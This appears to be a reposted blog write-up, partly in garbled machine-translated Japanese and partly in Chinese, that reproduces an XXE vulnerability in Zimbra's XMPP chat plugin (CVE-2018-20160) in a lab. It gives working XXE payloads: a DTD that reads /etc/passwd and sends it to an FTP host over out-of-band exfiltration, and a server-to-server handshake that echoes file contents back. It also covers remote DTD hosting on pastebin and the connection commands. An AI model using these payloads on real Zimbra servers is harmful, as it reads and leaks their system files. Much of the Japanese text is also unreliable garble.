ZimbraのXMPP XXE再現

序文

週末のすべての権利は、その後、CVE-2018から20160を探し、XMPPはXXEです

https://wiki.zimbra.com/wiki/Zimbra_Security_Advisories

https://wiki.zimbra.com/wiki/Zimbra_Releases/8.8.9/P9

右のパッチを手動でインストールする必要がアップグレードの修正をクリックし、8.7.xが自動的に検出さXXEある管理者ので、もしXXEが比較的少ない、原因Zimbraのチャットプラグインをインストールしやすい、Zimbraのチャットプラグインを抜け穴パッチがよりになるという。

ところで:他のXMPPプロトコルは、ほぼ空の大物を試すことができますされ、法律上の見積りに従事する推定^ _ ^

構築するための環境

またはjorgedlcruz / Zimbra社の使用インストールパッケージの8.7.11バージョンを使用するドッキングウィンドウの基礎として、このドッキングウィンドウ、ので、少し修正が必要。

Start.shは対処インストールパッケージを使用してコンテンツを利用した構成が、インストールを作成します。

https://files.zimbra.com/downloads/8.8.9_GA/zcs-8.8.9_GA_3019.UBUNTU16_64.20180809160254.tgz

それ以外の場合は、アップデートのインストールをインストールします、Zimbraのパッチの行を削除、パッケージutilsの/ globals.shを除去する必要性を開梱した後。

あなたがinstall.shインストールを呼び出すときは、入力のリダイレクト8.7.11を使用することはできません。

Zimbraのチャットは、aptのインストールがあるので、それは自動的に最新バージョンをインストールしますので、私は最終的にZimbraのチャットプラグドロップステージに持っていました:

apt-get install zimbra-chat=2.0.1.1532356008-1.u16
su - zimbra
zmmailboxdctl restart 

古いものと新しいコードのコントラスト:

新しいです:

ここに画像を挿入説明

旧:

ここに画像を挿入説明

ZimbraのチャットXMPP XXE

コードで長時間の一見のためのZimbraは、チャット、それはあまりにもハードXMPPプロトコルの外観を変更する解決プロセスを参照することが判明しました。

コードの場所は、/ opt / Zimbraの/ libに/以下openchat、マスターはOOOより興味を持つことができます。

具体的なプロセス接続はどこXMLコンソールを参照してください、Gajimをダウンロードすることができます。

ここに画像を挿入説明

说下个人理解:XMPP的协议基于XML,相当于C/S两端拼凑XML,你写一段我写一段,解析过程使用流式XML解析。但是具体的DOCTYPE定义、实体引用是XML发起人所规定。(emm,这段不确定对,仅供参考。)由于大部分操作都得走认证,没有账号的情况下除了首次握手以外也没啥好搞的了,下面说的都是基于首次握手做的。

流式XML解析的接口:

http://doc.codingdict.com/java_api/javax/xml/stream/XMLStreamReader.html

连接XMPP服务

openssl s_client -connect 192.168.252.139:5222 -starttls xmpp --debug

dtd:

<!ENTITY % payload SYSTEM "file:///etc/passwd">
<!ENTITY % param1 "<!ENTITY &#37; send SYSTEM 'ftp://192.168.252.1/%payload;'>">
%param1;

发送报文(第一次握手报文):

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE root [
<!ENTITY % remote SYSTEM "https://pastebin.com/raw/dtd233">
%remote;
%send;
]>
<stream:stream xmlns="jabber:client" version="1.0" xmlns:stream="http://etherx.jabber.org/streams" to="zimbra.io" xml:lang="zh" >

结果只有一行:

ここに画像を挿入説明
如果读localconfig.xml直接抛异常,就是原文作者说的ftp命令中的换行被java检测的问题。

emm,作者原文里提到了新版本的Java会抛掉多行命令,但是并不影响提到的几个CVE= =,这个节奏不对啊?

继续翻XMPP协议

经过查询,发现除了client to server这样的请求,还有server to server的:

https://xmpp.org/extensions/xep-0288.html

dtd:

<!ENTITY % payload SYSTEM "file:///etc/passwd">
<!ENTITY % param1 "<!ENTITY internal '%payload;'>">

走握手包,如果to的服务不存在,会将to的内容回显,也是在属性中:

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE root
[
<!ENTITY % remote SYSTEM "https://pastebin.com/raw/dtdurl">
%remote;
%param1;
]>
	<stream:stream xmlns:stream='http://etherx.jabber.org/streams'
               xmlns='jabber:server' xmlns:db='jabber:server:dialback'
               to='&internal;' from='zimbra.io'
               xml:lang='en' version='1.0'>

结果:
ここに画像を挿入説明

思考(懒得搞了的)

由于上面的操作走了XML的属性,所以是没法读带<和&(实体定义除外)文件的(比如localconfig.xml之类的)。

接着由于starttls操作的握手还没搞明白,所以登录以后的利用还没有搞。

但是看Gajim的数据流,starttls以后的stream还是由C端发起,可以设置Doctype,然后通过message发消息来读取XML文件(这个可以在Tag中),这个就请各位师傅自行研究了(板凳西瓜准备)。

参考资料

https://www.cnblogs.com/backlion/p/9302528.html

https://media.blackhat.com/eu-13/briefings/Osipov/bh-eu-13-XML-data-osipov-wp.pdf

https://staaldraad.github.io/2016/12/11/xxeftp/

https://gist.github.com/staaldraad/280f167f5cb49a80b4a3

おすすめ

転載: blog.csdn.net/fnmsd/article/details/89295607